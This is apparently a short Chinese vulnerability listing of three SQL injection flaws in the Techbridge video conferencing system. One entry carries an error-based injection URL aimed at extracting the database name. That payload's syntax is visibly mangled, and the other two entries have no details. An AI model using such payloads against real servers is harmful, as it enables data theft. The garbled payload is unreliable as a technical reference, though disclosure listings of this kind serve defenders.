Techbridge 视频会议系统 index.php 参数offsetminus SQL注入漏洞

exp: http://xxx/common/webmeeting/index.php?offsetminus=SELECT 6872 FROMSELECT COUNT,CONCAT0x7e7e7e,database,0x7e7e7e,FLOORRAND02x FROM INFORMATIONSCHEMA.CHARACTERSETS GROUP BY xa&day=26&min=10&year=2014...

Techbridge 会议系统 index.php 参数gId[] POST注入漏洞

No description provided by source...

Techbridge /common/web_meeting/ajax.php SQL注入漏洞

No description provided by source...